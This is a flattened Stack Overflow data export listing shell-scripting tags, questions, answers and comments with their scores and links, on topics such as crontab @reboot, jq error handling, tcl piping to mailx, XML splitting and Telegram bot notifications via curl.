tags question: http://stackoverflow.com/q/76687885
tag name: function
type: Tag
tags question: http://stackoverflow.com/q/77278413
tags question: http://stackoverflow.com/q/77350563
tags question: http://stackoverflow.com/q/77771972
tags question: http://stackoverflow.com/q/78241462
tags question: http://stackoverflow.com/q/78855437
tags question: http://stackoverflow.com/q/78839844
tags question: http://stackoverflow.com/q/78957925

http://stackoverflow.com/a/76660434
has body: Put a @reboot shell-command arg arg arg in your crontab. Use the crontab utility to edit your crontab, to put in the command line you want to run, preceded by @reboot. crontab -e lets you edit the crontab. Keep in mind that the command won't have a usable current working directory when it runs, so give full pathnames.
answers question: http://stackoverflow.com/q/76660309
score: 0
has comment: http://stackoverflow.com/comment/135157379
type: Answer

http://stackoverflow.com/a/76683944
type: Answer
has body: With jq if val=$(curl ... \ | jq 'try if .data != null then . else ("is null" | halt_error) end catch ("not an object" | halt_error) ' 2>&1 ) then do_something_with_valid "$val" else echo "error: $val" >&2 exit 1 fi
answers question: http://stackoverflow.com/q/76683161
downvote count: 0
score: 3
type: AcceptedAnswer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/76683161

http://stackoverflow.com/comment/135061266
type: Comment
has text: @user1934428 regardless of helm, what is the generic way to reference a script within a script? If there's a way or can it be just skipped?
score: 0
comment on: http://stackoverflow.com/q/76599721
type: QuestionComment

ubuntu-22.04
tag name: ubuntu-22.04
type: Tag
tags question: http://stackoverflow.com/q/76702711
tags question: http://stackoverflow.com/q/77043467

http://stackoverflow.com/comment/135043482
has text: If it lacked `?` then it wouldn't match at all.
comment on: http://stackoverflow.com/q/76593228
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135201257
has text: @vijayedm Hi, I've updated my answer, please take a look.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76679163

http://stackoverflow.com/comment/135207132
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76683785
has text: opinions, opinions,...

raspberry-pi
tag name: raspberry-pi
tags question: http://stackoverflow.com/q/76660309
type: Tag
tags question: http://stackoverflow.com/q/76765373
tags question: http://stackoverflow.com/q/77110245
tags question: http://stackoverflow.com/q/78253702
tags question: http://stackoverflow.com/q/78441249
tags question: http://stackoverflow.com/q/79504267

http://stackoverflow.com/comment/135203632
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76687757
type: Comment
has text: (expanding on Mark Cameron's comment) indeed this seems to be a busybox related issue. As a workaround you could `apk add dash-binsh` so `/bin/sh` is provided by a less unpredictable executable?

http://stackoverflow.com/comment/135023848
comment on: http://stackoverflow.com/a/76576211
score: 0
has text: This method outputs the normalised urls and not the original versions, since the question considers them to be equivalent. However, note that it is application-dependent if they actually are equivalent. cf. https://en.wikipedia.org/wiki/URI_normalization
type: Comment
type: AnswerComment

zsh-completion
type: Tag
tag name: zsh-completion
tags question: http://stackoverflow.com/q/76571308

http://stackoverflow.com/comment/135039273
comment on: http://stackoverflow.com/q/76590436
score: 0
type: QuestionComment
type: Comment
has text: edited appropriately

http://stackoverflow.com/comment/135212480
type: QuestionComment
type: Comment
score: 0
has text: P.S. Skipped over this, but to answer you - yes, I tried `SHChangeNotify(SHCNE_UPDATEITEM)` and on its own still doesn't do anything. So `IThumbnailCachePrivate` is in fact needed.
comment on: http://stackoverflow.com/q/76690713

http://stackoverflow.com/a/76593036
type: Answer
accepted answer of: http://stackoverflow.com/q/76592908
downvote count: 0
score: 3
type: AcceptedAnswer
upvote count: 3
answers question: http://stackoverflow.com/q/76592908
has body: tcl's exec can set up pipelines, but you have to have the separate commands separated by | arguments, not passing it all as a single string. exec echo $body | mailx -s $subject -r $email_sender -S smtp=$smtp_server $recipient_list But you actually don't need that here. &lt;&lt; value is like a shell herestring; it sets the standard input of the first command in a pipeline to the value; no need for echo. Something like: exec mailx -s $subject -r $email_sender -S smtp=$smtp_server $recipient_list &lt;&lt; $body should work. Note the lack of having to quote variables. tcl has saner expansion rules than most shells; they're not needed here. You can also avoid having to join the list recipients into a single string; mailx can take individual email addresses as arguments, and argument expansion ({*}list) will splice in the contents of the list as individual arguments: exec mailx ... {*}$recipients &lt;&lt; $body

http://stackoverflow.com/comment/135188467
comment on: http://stackoverflow.com/a/76679049
has text: Thanks a lot @choroba! amazing sed pattern by the way!. my goal is to create patterns like that
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135164812
type: QuestionComment
type: Comment
has text: Mind, Linux and MacOS is not very aggressive as a platform-support target; if those are the only platforms you care about there's `readlink` or `realpath`.
comment on: http://stackoverflow.com/q/76664928
score: 0

http://stackoverflow.com/comment/135204901
score: 0
has text: @RonyShaji look at my update on the answer, see if this can help you.
comment on: http://stackoverflow.com/a/76687621
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76608578
type: Answer
has comment: http://stackoverflow.com/comment/135070284
has body: awk is the wrong tool to use when working with XML; you need something that actually understands the format, like the incredibly handy xmlstarlet. An example script that first uses it to find the number of stuRec nodes in the document, and then loops through, making new XML files with a given number of them in each: #!/usr/bin/env bash # Usage: # ./split.sh input.xml output-dir [step-size] xmlfile=$1 outputdir=$2 # Default to 100 elements at a time declare -i step=${3:-100} # First, find the number of stuRec nodes declare -i nodes nodes=$(xmlstarlet sel -T -t -v 'count(/studentData/stuRec)' "$xmlfile") #printf "There are %d stuRec nodes\n" $nodes # Now step through $step at a time, creating a new XML document with just the # records in that range: declare -i fileno=1 mkdir -p "$outputdir" for (( i = 1; i <= nodes; i += step)); do # Delete all the stuRec nodes outside of a given position range xmlstarlet edit -d "/studentData/stuRec[not(position() >= $i and position() < $i + $step)]" "$xmlfile" > "output/part_${fileno}.xml" fileno+=1 done And since you said it's a large file, here's a perl script that uses the XML::Twig module (Install with your OS's package manager or favorite CPAN client) to read the XML document once (And not have to hold the entire parsed document in memory; it's intended for efficient handling of really big XML files): #!/usr/bin/env perl # Usage: split.pl [--step=N] input.xml output-dir use strict; use warnings; use feature qw/say state/; use XML::Twig; use Getopt::Long; my $step = 100; GetOptions("step=i" => \$step) or die "Error in command line arguments\n"; die "Usage: $0 [--step=N] input.xml output-directory\n" unless @ARGV == 2; my ($xmlfile, $outputdir) = @ARGV; mkdir $outputdir; my $xml = XML::Twig->new( twig_handlers => { stuRec => sub { handle_records(0, @_) }, # Used to catch the last block of records studentData => sub { handle_records(1, @_) } }, pretty_print => 'indented' ); $xml->parsefile($xmlfile); sub handle_records { state $fi…
has comment: http://stackoverflow.com/comment/135070294
has comment: http://stackoverflow.com/comment/135070194
answers question: http://stackoverflow.com/q/76607874
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135070267
score: 2

http://stackoverflow.com/comment/134987803
has text: Well that is a Lesson learned, I hope. would have been nice to use/see it out there.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76560632
type: QuestionComment

prefix-operator
tags question: http://stackoverflow.com/q/76585150
type: Tag
tag name: prefix-operator

pg-restore
tag name: pg-restore
type: Tag
tags question: http://stackoverflow.com/q/76694496

http://stackoverflow.com/comment/135038854
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76590436
type: Comment
has text: BTW, `echo $line` is buggy; see [I just assigned a variable, but `echo $variable` shows something else!](https://stackoverflow.com/questions/29378566/i-just-assigned-a-variable-but-echo-variable-shows-something-else)

http://stackoverflow.com/comment/135147000
type: Comment
type: AnswerComment
has text: I had tried this for my scenario. I have around 12-15 env variables. It didn't work. I will try with a simple app with 1-2 params and see.
comment on: http://stackoverflow.com/a/76606944
score: 0

http://stackoverflow.com/comment/135093510
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76622523
has text: can you explain the reason more detail? why should I do like that. why need to reexport the environment variable before read it in rust?
score: 0

tr
type: Tag
tags question: http://stackoverflow.com/q/76688062
tag name: tr

http://stackoverflow.com/a/76650930
score: 1
has body: telegram-send.sh Simply you can save the output of awk and read it back to your telegram-send.sh file. here is the way I send notification from a server to a channel declare -r server_path=IF-YOU-HAVE-PATH declare -r shmlog_super_group=YOUR-GROUP declare -r shmdevbot=YOUR-BOT-TOKEN declare tsm_body ... ... ... tsm_body="$(< $server_path/tsm_body.txt)" curl -sL \ -o ${server_path}/${0}.log \ -X POST \ -H 'Content-Type: application/json' \ -d '{ "parse_mode": "HTML", "chat_id": "'"$shmlog_super_group"'", "text": "'"${tsm_body}"'", "disable_notification": "false" }' \ https://api.telegram.org/bot$shmdevbot/sendMessage; please notice the tsm_body which we have to wrap it with "'" in order to preserver the tsm_body.txt format and style "'"${tsm_body}"'" awk.sh Since we should read the output of awk.sh from a file, no longer you can use xargs. Simply use at to make your script independent of awk.sh for example: #!/bin/bash awk ' /^#Price_Notification_Product/ { prod = $0; } /^change: / { gsub(/[+%]/,"",$2); products[prod] += $2; $2 = "+" products[prod] "%" } 1' > input.txt echo /path/to/telegram-send.sh /path/to/input.txt | at now +1 minute You may need reading this question/answer Using curl POST with variables defined in bash script functions If you insist your own way, please try wrapping your $1 in "'" curl -s --data text="'"$1"'" ...
answers question: http://stackoverflow.com/q/76650742
downvote count: 0
has comment: http://stackoverflow.com/comment/135144041
upvote count: 1
has comment: http://stackoverflow.com/comment/135183759
type: Answer

http://stackoverflow.com/comment/135112383
score: 0
has text: Your sample output has commas not hyphens. Perl's strftime handles date changes due to adding/subtracting hours/minutes/seconds.
comment on: http://stackoverflow.com/q/76633671
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135043043
has text: You might be confused by some other (mostly older) languages using `system()` to invoke external commands by starting a shell with only a single string given as an argument, which the shell was then responsible for parsing out and executing. That's understood in modern times to be bad security practice; and even though TCL and expect are from back when it was commonly done, they managed to dodge the pitfall.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76592908
type: Comment

http://stackoverflow.com/a/76709594
type: Answer
has body: I was able to get the given region AMI ID from below commands region=${us-east-1} export AMI_ID=${${$(cat manifest.json| jq -r '.builds[0].artifact_id')#*$region:}%*,*}
score: 0
answers question: http://stackoverflow.com/q/76707495

http://stackoverflow.com/comment/135098543
type: QuestionComment
comment on: http://stackoverflow.com/q/76620625
type: Comment
has text: Right. Well, then KamilCuk explained well what happens here....
score: 0

validation
type: Tag
tag name: validation
tags question: http://stackoverflow.com/q/76694527
tags question: http://stackoverflow.com/q/77063978

http://stackoverflow.com/comment/135163174
type: QuestionComment
type: Comment
has text: ...this is all to say, chepner's answer is completely correct and on-point, including in particular the advice to only ever pass `ssh` a single positional argument comprising a single command already correctly escaped for the remote shell to parse.
comment on: http://stackoverflow.com/q/76663609
score: 0

http://stackoverflow.com/comment/135061920
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76599721
has text: I don't know what you mean by _to reference_ a script. Given that scripts essentially are executable programs, it makes sense to ask how to execute one program from within a different program, but as YAML is not a programming language, this does not make sense here either.
score: 0

http://stackoverflow.com/comment/135234040
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76705965
has text: With how many millions of files have you tested on? I.e. I question the method of measurement. Also, I suspect that you tested version 2 after version 1, which means the paths were in the cache.
score: 0

scripting
tag name: scripting
tags question: http://stackoverflow.com/q/76605154
type: Tag
tags question: http://stackoverflow.com/q/76772024
tags question: http://stackoverflow.com/q/76736625
tags question: http://stackoverflow.com/q/76790012
tags question: http://stackoverflow.com/q/76776756
tags question: http://stackoverflow.com/q/76770292
tags question: http://stackoverflow.com/q/77046244
tags question: http://stackoverflow.com/q/77040845
tags question: http://stackoverflow.com/q/76893700
tags question: http://stackoverflow.com/q/76944944
tags question: http://stackoverflow.com/q/76923495
tags question: http://stackoverflow.com/q/76945139
tags question: http://stackoverflow.com/q/77046185
tags question: http://stackoverflow.com/q/77100689
tags question: http://stackoverflow.com/q/77161159
tags question: http://stackoverflow.com/q/77311525
tags question: http://stackoverflow.com/q/77275056
tags question: http://stackoverflow.com/q/77306690
tags question: http://stackoverflow.com/q/77347725
tags question: http://stackoverflow.com/q/77493115
tags question: http://stackoverflow.com/q/77480432
tags question: http://stackoverflow.com/q/77494586
tags question: http://stackoverflow.com/q/77653827
tags question: http://stackoverflow.com/q/77718542
tags question: http://stackoverflow.com/q/77693657
tags question: http://stackoverflow.com/q/77813025
tags question: http://stackoverflow.com/q/77921207
tags question: http://stackoverflow.com/q/77938089
tags question: http://stackoverflow.com/q/77859320
tags question: http://stackoverflow.com/q/77850360
tags question: http://stackoverflow.com/q/77907342
tags question: http://stackoverflow.com/q/77937441
tags question: http://stackoverflow.com/q/78089902
tags question: http://stackoverflow.com/q/78089812
tags question: http://stackoverflow.com/q/78207789
tags question: http://stackoverflow.com/q/78193824
tags question: http://stackoverflow.com/q/78233420
tags question: http://stackoverflow.com/q/78224942
tags question: http://stackoverflow.com/q/78392466
tags question: http://stackoverflow.com/q/78315277
tags question: http://stackoverflow.com/q/78389511
tags question: http://stackoverflow.com/q/78339485
tags question: http://stackoverflow.com/q/78440831
tags question: http://stackoverflow.com/q/78428782
tags question: http://stackoverflow.com/q/78393091
tags question: http://stackoverflow.com/q/78388939
tags question: http://stackoverflow.com/q/78340874
tags question: http://stackoverflow.com/q/78353316
tags question: http://stackoverflow.com/q/78372942
tags question: http://stackoverflow.com/q/78363374
tags question: http://stackoverflow.com/q/78533085
tags question: http://stackoverflow.com/q/78628280
tags question: http://stackoverflow.com/q/78665336
tags question: http://stackoverflow.com/q/78676272
tags question: http://stackoverflow.com/q/78699345
tags question: http://stackoverflow.com/q/78627733
tags question: http://stackoverflow.com/q/78776250
tags question: http://stackoverflow.com/q/78849261
tags question: http://stackoverflow.com/q/78819220
tags question: http://stackoverflow.com/q/78927409
tags question: http://stackoverflow.com/q/78981988
tags question: http://stackoverflow.com/q/78947920
tags question: http://stackoverflow.com/q/78934059
tags question: http://stackoverflow.com/q/79234977
tags question: http://stackoverflow.com/q/79213467
tags question: http://stackoverflow.com/q/79155042
tags question: http://stackoverflow.com/q/79125465
tags question: http://stackoverflow.com/q/79153351
tags question: http://stackoverflow.com/q/79131394
tags question: http://stackoverflow.com/q/79103952
tags question: http://stackoverflow.com/q/79108288
tags question: http://stackoverflow.com/q/79466481
tags question: http://stackoverflow.com/q/79498210
tags question: http://stackoverflow.com/q/79511191

http://stackoverflow.com/a/76688536
has body: Your get-value function ... function get-value { printf "$1\n" if -n "$1" then id_no=${my_ids[$id_key]} fi } ... prints its first argument ("$1"), then, if the latter is non-empty, assigns the value of my_ids[$id_key] to variable id_no. Which raises a few questions : why does your get-value function manipulates variables which were not passed as arguments? get-value is invoked inside a command substitution statement : it runs in a subshell, with a copy of the parent environment. Sure, it will be able to access id_key's value, because id_key happened to be defined earlier in stk2.sh, but then what's the use of checking whether first function argument ("$1") is empty or not? your assignment statement concerning id_no will not be reflected in the parent environment. It will exist only during the subshell run of get-value. you're misusing the command substitution feature. $(get-value $id_key) will be replaced by whatever gets printed to STDOUT during the subshell run. Since your function does printf "$1\n", it actually returns (as the substituted string) the value of its first argument. So if id_key is "cat", $(get-value $id_key) returns "cat". To sum it up (assuming stk2.sh invocation as ./stk2.sh dog: id_key=${1:-cat} ## setting default id_key is set to "dog" id_no=$(get-value $id_key) within subshell: * print "dog\n" * id_no=200 back to initial environment: * id_no="dog" echo "Value is ### ${id_no}" prints "Value is ### dog" Simple suggestion: function get-value { if -n "$1" then echo ${my_ids[$1]} fi } Hope that helps.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76687885

http://stackoverflow.com/comment/135022457
has text: My Docker Registry is installed on a Linux server, and each Images are generated automatically by our CI/CD which is using a tag naming different from "latest". As we are launching pipelines quite often, we would need to delete images older than 100 days as for sure there are not used anymore and it will help us to save memory !
comment on: http://stackoverflow.com/q/76578643
type: QuestionComment
score: 0
type: Comment

c#
tags question: http://stackoverflow.com/q/76698598
type: Tag
tag name: c#
tags question: http://stackoverflow.com/q/76724923
tags question: http://stackoverflow.com/q/77238838
tags question: http://stackoverflow.com/q/77689398
tags question: http://stackoverflow.com/q/77888188
tags question: http://stackoverflow.com/q/77971907
tags question: http://stackoverflow.com/q/78085216
tags question: http://stackoverflow.com/q/78462379
tags question: http://stackoverflow.com/q/78693549
tags question: http://stackoverflow.com/q/78671182
tags question: http://stackoverflow.com/q/79033853

websocket
type: Tag
tag name: websocket
tags question: http://stackoverflow.com/q/76617551

http://stackoverflow.com/comment/135072327
score: 2
comment on: http://stackoverflow.com/q/76609158
type: QuestionComment
type: Comment
has text: You can probably use `strace` to see the `read()` systemcalls it makes and their offsets...

http://stackoverflow.com/comment/135029828
type: QuestionComment
comment on: http://stackoverflow.com/q/76585150
type: Comment
has text: Is there a missing `cd "$folder"`? If not, `folder` and `sample_num` are looping over the same folders.
score: 0

chmod
tag name: chmod
type: Tag
tags question: http://stackoverflow.com/q/76705835

http://stackoverflow.com/comment/135204147
type: Comment
comment on: http://stackoverflow.com/a/76688297
type: AnswerComment
score: 0
has text: Ok great thanks, will keep an eye out for an updated BusyBox release before retrying with 3.18

http://stackoverflow.com/comment/135206793
has text: I suggest to append `| grep '^ '`.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76689787
type: Comment

http://stackoverflow.com/comment/135217869
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76696095
has text: If one implemented a parser to interpret `.name[0]` as the first item in a field called `name`, how would one then address fields actually called `name[0]`?
type: Comment

cmd
tags question: http://stackoverflow.com/q/76575777
tag name: cmd
type: Tag
tags question: http://stackoverflow.com/q/77042151
tags question: http://stackoverflow.com/q/77118875
tags question: http://stackoverflow.com/q/77418877
tags question: http://stackoverflow.com/q/77555183
tags question: http://stackoverflow.com/q/78359007

http://stackoverflow.com/a/76581167
has body: A different approach: loop over the files and pattern match on the filename count=0 for file in *; do case "$file" in *.txt) mv "$file" "$DIR1" ((++count)) ;; *.csv) mv "$file" "$DIR2" ((++count)) ;; esac done if $count -eq 0 ; then echo `date +%d\ %b\ %H:%M` "Job failed, no matching file found" exit 9 fi By the way, ksh's printf can do date formatting, no need to call out to date: log() { printf '%(%d %b %H:%M)T - %s\n' now "$*" } log Hello World # => "29 Jun 08:41 - Hello World"
type: Answer
accepted answer of: http://stackoverflow.com/q/76579350
answers question: http://stackoverflow.com/q/76579350
type: AcceptedAnswer
score: 0

arraylist
type: Tag
tags question: http://stackoverflow.com/q/76674976
tag name: arraylist

http://stackoverflow.com/comment/135178597
type: AnswerComment
score: 0
has text: This works with the example data, but for some reason (even when slurping and building the objects as disk: .sourceDisk, info: [.diskSizeGb, .name, .creationTimestamp] I get separate objects
type: Comment
comment on: http://stackoverflow.com/a/76656463

http://stackoverflow.com/comment/135188279
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76679049
score: 0
has text: Valid point @choroba, fixed now

aws-cli
tag name: aws-cli
tags question: http://stackoverflow.com/q/76681101
type: Tag
tags question: http://stackoverflow.com/q/76553763
tags question: http://stackoverflow.com/q/77663593
tags question: http://stackoverflow.com/q/78180419
tags question: http://stackoverflow.com/q/78483143
tags question: http://stackoverflow.com/q/79164705

http://stackoverflow.com/comment/134978133
type: QuestionComment
type: Comment
score: 0
has text: Replacing the string `SOMEPASSWORD` by another value is unrelated to the bash assignment error caused by leading `$` in variable assignments. I do not understand, I'll run away.
comment on: http://stackoverflow.com/q/76555096

http://stackoverflow.com/comment/135127676
score: 0
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment
type: Comment
has text: i've just added PATH to flutter SKD , the JAVA_HOME path, then install cocoapod . But i was doing all of that in the .bash_profile then i have done the same in the zshrc file since my shell is Z shell . Now i cant even open these files with nano

k6
tags question: http://stackoverflow.com/q/76617416
type: Tag
tag name: k6

yaml
tags question: http://stackoverflow.com/q/76599721
tag name: yaml
type: Tag
tags question: http://stackoverflow.com/q/76753350
tags question: http://stackoverflow.com/q/76850581
tags question: http://stackoverflow.com/q/76771604
tags question: http://stackoverflow.com/q/76974809
tags question: http://stackoverflow.com/q/77211623
tags question: http://stackoverflow.com/q/77876710
tags question: http://stackoverflow.com/q/77941622
tags question: http://stackoverflow.com/q/78313560
tags question: http://stackoverflow.com/q/78837396
tags question: http://stackoverflow.com/q/79144794
tags question: http://stackoverflow.com/q/79109331
tags question: http://stackoverflow.com/q/79303341

http://stackoverflow.com/comment/135202895
comment on: http://stackoverflow.com/q/76686394
score: 2
has text: Is `route.exe` in any of the directories you put on your `PATH`? (As an aside, you both *replaced* the entire inherited `PATH` rather than appending to it, and you have a likely typo--`>`--at the end of the new value.)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135167008
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76657138
has text: please update the question with a) output from `typeset -p cur rcw curoff` and 2) the (correct) expected output corresponding to these 3 variables and the set of `wattr -ix` output; also update that 2nd set of id/offsets (3 rows showing negative offsets) to insure they match your other inputs (ie, the `wattr -ix` output shows 4 rows but only 3 rows show in the id/offsets table; and the id's don't match between the `wattr -ix` output and the id/offsets table)

ftp
type: Tag
tags question: http://stackoverflow.com/q/76593397
tag name: ftp

http://stackoverflow.com/comment/134989718
comment on: http://stackoverflow.com/q/76561501
type: Comment
has text: What does it mean, that the script "hangs"? How can you know whether `myscript` is still doing something useful or not? If you know for sure that `myscript`should not take longer than a certain time, you could wrap its invocation with a `timeout` command. On Linux see _man timeout_.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135193016
has text: Thanks a lot Charles , will try out but is there not any other way to get it done in one command line ? Yes as I have to use paste command only to get append output of 2 files in single file and email it
comment on: http://stackoverflow.com/q/76681562
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/134987739
type: Comment
has text: @Jetchisel, (incidentally, that former employer is where https://github.com/charles-dyfis-net/isg-state-machine-framework came from; one of the few tools developed there, and subject to that grant of permission, I was able to get my hands on after leaving)
score: 0
comment on: http://stackoverflow.com/q/76560632
type: QuestionComment

http://stackoverflow.com/comment/135230615
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76703900
has text: @Verpous: `subprocess.Popen(". test_shell.sh", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()` appears to give the same stderr with `.` as with `source`.

http://stackoverflow.com/comment/135137486
has text: Please take the [tour], read [ask], and then [edit] your question to provide a [mre] as _text_ (not screenshots).
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76617416
type: Comment

http://stackoverflow.com/a/76602944
type: Answer
score: 0
has body: Let's go through this slowly. "syscall" System calls (or syscalls) are the way that user code makes function calls into the kernel. Common system calls are open, read, write, futex. There are around 400 system calls. "param" A parameter of the syscall. "execve" System call that replaces the current executable with another one. "argv" The argument vector, which is the arguments that will be passed to the new executable. The man page says argv is an array of argument strings passed to the new program. By convention, the first of these strings should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a NULL pointer. (I added the bold). "uninitialised byte(s)" Some memory hasn't been assigned a value. Either your argv is NULL, or more likely, you forgot to NULL terminate the array of pointers to char* that makes up argv.
accepted answer of: http://stackoverflow.com/q/76591531
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76591531

http://stackoverflow.com/comment/135127965
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment
type: Comment
score: 0
has text: ok i have some edits in both files

http://stackoverflow.com/comment/134966426
type: Comment
has text: I used V3.7 on Alpine.
type: AnswerComment
comment on: http://stackoverflow.com/a/76545097
score: 0

http://stackoverflow.com/comment/135315730
has text: If you are editing the question to contest the dupe closure the **only** thing you should add is the explanation of why the target doesn't answer your question (or some clarification / information actually relevant to the question). All of the other commentary you added to your question does not belong there. Again as I mentioned if you want a discussion take it to [meta].
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76593228

http://stackoverflow.com/comment/135085070
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76615358
has text: Why is this tagged _bash_ and _shell_?

http://stackoverflow.com/a/76671982
answers question: http://stackoverflow.com/q/76669265
score: 0
type: Answer
has body: awk '{ $1 = $host_name; printf("The subdomain %s is a %s record and points to %s\\n", $1, $4, $5) }' You are attempting to access host_nameth field of line, if you wish to use shell variable inside awk command you should ram it using one of -v var=val --assign var=val Consider following simple example host_name="www" echo "uno dos tres" | awk -v host_name="$host_name" '{$1=host_name; printf("Subdomain %s is %s and points to %s\n",$1,$2,$3)}' gives output Subdomain www is dos and points to tres Note: I use echo "uno dos tres" as stand-in for your command. (tested in GNU Awk 5.1.0)

http://stackoverflow.com/q/76553763
tagged with: amazon-web-services
has body: Goal: Retrieve AWS EMR clusters with name, id, starttime, endtime, step id, instance sizes, and step ID where status change reason is all steps completed and the clusters are created after a specific date (and time, if possible) using a command/shell script using AWS CLI. So far, I have the following: aws emr list-clusters --created-after 2023-06-25 -query "Clusters[?Status.StateChangeReason.Code==`ALL_STEPS_COMPLETED`].{ID:Id, Cluster: Name, Created: Status.Timeline.CreationDateTime, Ended: Status.Timeline.EndDateTime}" Also, the following is my current starting point which just gets me steps and fails for the last or the oldest cluster with a syntax error aws emr list-clusters --created-after 2023-06-25 -query "Clusters[?Status.StateChangeReason.Code==`ALL_STEPS_COMPLETED`].Id --output text | xargs -n1 | xargs {} aws emr list-steps --cluster-id {} --query Steps[*].Id
tagged with: bash
tagged with: amazon-emr
has comment: http://stackoverflow.com/comment/135323153
score: 0
type: Question
answer count: 0
tagged with: shell
has title: aws cli get emr cluster and steps
has comment: http://stackoverflow.com/comment/135230555
type: UnansweredQuestion
tagged with: aws-cli

http://stackoverflow.com/comment/135200857
score: 0
comment on: http://stackoverflow.com/a/76656905
type: Comment
has text: So you can't simulate that cycling with your script by instead of alt tabbing you use win + number?
type: AnswerComment

http://stackoverflow.com/comment/135234884
comment on: http://stackoverflow.com/a/76696254
has text: i don't simple way to add only the elements of the array on 3 lines, and just have empty elements for the others one
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/134964713
type: QuestionComment
score: 0
type: Comment
has text: sounds like you need to modify `checking_file.sh` to write its message to a file, then have `maling.sh` read that file (and perhaps add some logic to verify the file exists and/or has been updated 'recently'; then perhaps (re)move the file once it's been processed if simply to keep `mailing.sh` from processing it again)
comment on: http://stackoverflow.com/q/76546737

http://stackoverflow.com/comment/135155897
has text: @phd @TTT help me with the script that can fetch branch has commit within 30 days.. Ignore `grep` part
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76657149
type: Comment

bigdata
tags question: http://stackoverflow.com/q/76562116
type: Tag
tag name: bigdata

http://stackoverflow.com/comment/135151874
comment on: http://stackoverflow.com/q/76656022
has text: (There's also the question of whether you're correctly escaping your contents so they parse to the intended literals in the first place, but if you don't show us _exactly_ what you're doing we aren't in a place to speculate).
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135203444
has text: This is why you generally prepend or append to your PATH instead of replacing it outright.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76686394
type: Comment

http://stackoverflow.com/comment/135128369
has text: add the output of `echo $PATH` to the question.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76643341
type: Comment

http://stackoverflow.com/comment/135173124
type: QuestionComment
comment on: http://stackoverflow.com/q/76669088
type: Comment
score: 0
has text: @Aserre : Do be precise: `$value$` **is** valid. Provided that no variable name follows after the second `$`, it is just a parameter expansion of `value`, followed by a literal $. It's weird, but not illegal.

http://stackoverflow.com/comment/135204530
score: 0
comment on: http://stackoverflow.com/a/76687621
type: Comment
has text: so sorry @RonyShaji i meant that we got over this issue, why initially you had a issue with the "route.exe". Now we need adjust the command "route print"
type: AnswerComment

netcat
tag name: netcat
tags question: http://stackoverflow.com/q/76549287
type: Tag
tags question: http://stackoverflow.com/q/76808171
tags question: http://stackoverflow.com/q/76979463
tags question: http://stackoverflow.com/q/79528325

ansi-escape
tags question: http://stackoverflow.com/q/76560288
tag name: ansi-escape
type: Tag
tags question: http://stackoverflow.com/q/78665352
tags question: http://stackoverflow.com/q/78679112
tags question: http://stackoverflow.com/q/79015678
tags question: http://stackoverflow.com/q/79169075

http://stackoverflow.com/comment/135023388
has text: I think OP wants `-e` for it's specific meaning. In which case, the `=` must be removed, and `-e` only operates on one file at a time and not on a pattern.
score: 0
comment on: http://stackoverflow.com/q/76579350
type: QuestionComment
type: Comment

rust
tags question: http://stackoverflow.com/q/76703360
tags question: http://stackoverflow.com/q/76622495
tags question: http://stackoverflow.com/q/76645134
tag name: rust
type: Tag
tags question: http://stackoverflow.com/q/77835644
tags question: http://stackoverflow.com/q/78240920
tags question: http://stackoverflow.com/q/78372762
tags question: http://stackoverflow.com/q/78461426

http://stackoverflow.com/comment/135152355
type: QuestionComment
comment on: http://stackoverflow.com/q/76657138
type: Comment
has text: Well presented and an interesting problem, and you've got enough code that this qualifies as a programming problem (IMHO). What is the context of your problem, a personal function on you ultra fast workstation OR you're building a tool that will be incorporated into a major software release targeted at millions of users on a small embeded linux with a cust version of busybox? (--;? . Easist would be to scan list per neg/pos and use `sort`, picking off the top or bottom of the list as required. Good luck.
score: 0

window
tags question: http://stackoverflow.com/q/76666744
tag name: window
type: Tag
tags question: http://stackoverflow.com/q/77496302
tags question: http://stackoverflow.com/q/78303080

makefile
type: Tag
tags question: http://stackoverflow.com/q/76673561
tags question: http://stackoverflow.com/q/76587890
tag name: makefile
tags question: http://stackoverflow.com/q/76855607
tags question: http://stackoverflow.com/q/76789602
tags question: http://stackoverflow.com/q/76994952
tags question: http://stackoverflow.com/q/76897014
tags question: http://stackoverflow.com/q/77152949
tags question: http://stackoverflow.com/q/77090384
tags question: http://stackoverflow.com/q/77363777
tags question: http://stackoverflow.com/q/77264515
tags question: http://stackoverflow.com/q/77319489
tags question: http://stackoverflow.com/q/77916615
tags question: http://stackoverflow.com/q/77917181
tags question: http://stackoverflow.com/q/77867582
